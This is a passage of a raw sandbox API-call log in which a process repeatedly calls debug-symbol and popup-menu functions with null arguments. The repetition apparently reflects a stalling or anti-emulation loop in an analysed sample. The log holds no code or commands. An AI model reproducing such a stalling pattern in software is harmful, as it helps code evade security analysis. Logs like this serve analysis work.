FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.447] SymCleanup (hProcess=0x0) returned 0 [0185.447] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.447] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.447] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.447] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=192, param_4=299, param_5=0x0, param_6=0x0) returned 0 [0185.447] GetLastError () returned 0x579 [0185.447] SetLastError (dwErrCode=0x579) [0185.447] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.447] SymCleanup (hProcess=0x0) returned 0 [0185.447] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.447] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.447] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.447] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.447] GetLastError () returned 0x579 [0185.447] SetLastError (dwErrCode=0x579) [0185.447] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.447] SymCleanup (hProcess=0x0) returned 0 [0185.447] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.447] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.447] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.447] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.447] GetLastError () returned 0x579 [0185.447] SetLastError (dwErrCode=0x579) [0185.447] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.448] SymCleanup (hProcess=0x0) returned 0 [0185.448] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.448] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.448] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.448] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.448] GetLastError () returned 0x579 [0185.448] SetLastError (dwErrCode=0x579) [0185.448] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.448] SymCleanup (hProcess=0x0) returned 0 [0185.448] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.448] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.448] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.448] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.448] GetLastError () returned 0x579 [0185.448] SetLastError (dwErrCode=0x579) [0185.448] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.448] SymCleanup (hProcess=0x0) returned 0 [0185.448] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.448] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.448] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.448] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1002, param_4=710, param_5=0x0, param_6=0x0) returned 0 [0185.448] GetLastError () returned 0x579 [0185.448] SetLastError (dwErrCode=0x579) [0185.448] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.449] SymCleanup (hProcess=0x0) returned 0 [0185.449] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.449] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.449] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.449] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.449] GetLastError () returned 0x579 [0185.449] SetLastError (dwErrCode=0x579) [0185.449] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.449] SymCleanup (hProcess=0x0) returned 0 [0185.449] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.449] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.449] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.449] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.449] GetLastError () returned 0x579 [0185.449] SetLastError (dwErrCode=0x579) [0185.449] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.449] SymCleanup (hProcess=0x0) returned 0 [0185.449] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.449] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.449] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.449] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.449] GetLastError () returned 0x579 [0185.449] SetLastError (dwErrCode=0x579) [0185.449] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.450] SymCleanup (hProcess=0x0) returned 0 [0185.450] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.450] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.450] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.450] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.450] GetLastError () returned 0x579 [0185.450] SetLastError (dwErrCode=0x579) [0185.450] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.450] SymCleanup (hProcess=0x0) returned 0 [0185.450] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.450] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.450] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.450] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1401, param_4=227, param_5=0x0, param_6=0x0) returned 0 [0185.450] GetLastError () returned 0x579 [0185.450] SetLastError (dwErrCode=0x579) [0185.450] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.450] SymCleanup (hProcess=0x0) returned 0 [0185.450] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.450] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.450] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.450] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.450] GetLastError () returned 0x579 [0185.450] SetLastError (dwErrCode=0x579) [0185.450] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.450] SymCleanup (hProcess=0x0) returned 0 [0185.451] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.451] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.451] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.451] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.451] GetLastError () returned 0x579 [0185.451] SetLastError (dwErrCode=0x579) [0185.451] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.451] SymCleanup (hProcess=0x0) returned 0 [0185.451] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.451] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.451] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.451] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.451] GetLastError () returned 0x579 [0185.451] SetLastError (dwErrCode=0x579) [0185.451] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.451] SymCleanup (hProcess=0x0) returned 0 [0185.451] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.451] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.451] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.451] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.451] GetLastError () returned 0x579 [0185.451] SetLastError (dwErrCode=0x579) [0185.451] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.451] SymCleanup (hProcess=0x0) returned 0 [0185.451] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.452] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.452] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.452] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=463, param_4=671, param_5=0x0, param_6=0x0) returned 0 [0185.452] GetLastError () returned 0x579 [0185.454] SetLastError (dwErrCode=0x579) [0185.454] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.454] SymCleanup (hProcess=0x0) returned 0 [0185.454] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.454] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.454] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.454] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.454] GetLastError () returned 0x579 [0185.454] SetLastError (dwErrCode=0x579) [0185.454] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.454] SymCleanup (hProcess=0x0) returned 0 [0185.454] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.454] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.454] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.455] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.455] GetLastError () returned 0x579 [0185.455] SetLastError (dwErrCode=0x579) [0185.455] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.456] SymCleanup (hProcess=0x0) returned 0 [0185.456] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.456] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.456] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.456] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.456] GetLastError () returned 0x579 [0185.456] SetLastError (dwErrCode=0x579) [0185.456] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.456] SymCleanup (hProcess=0x0) returned 0 [0185.456] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.456] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.456] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.456] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.456] GetLastError () returned 0x579 [0185.456] SetLastError (dwErrCode=0x579) [0185.456] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.456] SymCleanup (hProcess=0x0) returned 0 [0185.456] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.456] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.456] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.456] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1099, param_4=49, param_5=0x0, param_6=0x0) returned 0 [0185.456] GetLastError () returned 0x579 [0185.456] SetLastError (dwErrCode=0x579) [0185.456] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.457] SymCleanup (hProcess=0x0) returned 0 [0185.457] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.457] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.457] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.457] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.457] GetLastError () returned 0x579 [0185.457] SetLastError (dwErrCode=0x579) [0185.457] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.457] SymCleanup (hProcess=0x0) returned 0 [0185.457] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.457] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.457] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.457] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.457] GetLastError () returned 0x579 [0185.457] SetLastError (dwErrCode=0x579) [0185.457] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.457] SymCleanup (hProcess=0x0) returned 0 [0185.457] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.457] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.457] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.458] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.458] GetLastError () returned 0x579 [0185.458] SetLastError (dwErrCode=0x579) [0185.458] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.458] SymCleanup (hProcess=0x0) returned 0 [0185.458] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.458] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.458] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.458] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.458] GetLastError () returned 0x579 [0185.458] SetLastError (dwErrCode=0x579) [0185.458] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.458] SymCleanup (hProcess=0x0) returned 0 [0185.458] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.458] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.458] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.458] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1038, param_4=18, param_5=0x0, param_6=0x0) returned 0 [0185.458] GetLastError () returned 0x579 [0185.458] SetLastError (dwErrCode=0x579) [0185.458] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.459] SymCleanup (hProcess=0x0) returned 0 [0185.459] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.459] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.459] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.459] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.459] GetLastError () returned 0x579 [0185.459] SetLastError (dwErrCode=0x579) [0185.459] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.459] SymCleanup (hProcess=0x0) returned 0 [0185.459] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.459] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.459] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.459] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.459] GetLastError () returned 0x579 [0185.459] SetLastError (dwErrCode=0x579) [0185.459] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.459] SymCleanup (hProcess=0x0) returned 0 [0185.459] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.459] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.459] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.459] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.459] GetLastError () returned 0x579 [0185.459] SetLastError (dwErrCode=0x579) [0185.459] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.459] SymCleanup (hProcess=0x0) returned 0 [0185.460] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.460] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.460] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.460] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.460] GetLastError () returned 0x579 [0185.460] SetLastError (dwErrCode=0x579) [0185.460] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.460] SymCleanup (hProcess=0x0) returned 0 [0185.460] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.460] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.460] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.460] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=235, param_4=817, param_5=0x0, param_6=0x0) returned 0 [0185.460] GetLastError () returned 0x579 [0185.460] SetLastError (dwErrCode=0x579) [0185.460] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.460] SymCleanup (hProcess=0x0) returned 0 [0185.460] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.460] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.460] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.460] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.460] GetLastError () returned 0x579 [0185.460] SetLastError (dwErrCode=0x579) [0185.460] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.460] SymCleanup (hProcess=0x0) returned 0 [0185.461] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.461] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.461] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.461] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.461] GetLastError () returned 0x579 [0185.461] SetLastError (dwErrCode=0x579) [0185.461] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.461] SymCleanup (hProcess=0x0) returned 0 [0185.461] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.461] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.461] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.461] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.461] GetLastError () returned 0x579 [0185.461] SetLastError (dwErrCode=0x579) [0185.461] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.461] SymCleanup (hProcess=0x0) returned 0 [0185.461] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.461] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.461] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.461] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.461] GetLastError () returned 0x579 [0185.461] SetLastError (dwErrCode=0x579) [0185.461] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.461] SymCleanup (hProcess=0x0) returned 0 [0185.462] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.462] InsertMenuItemA (hmenu=0x0, item=0x0, 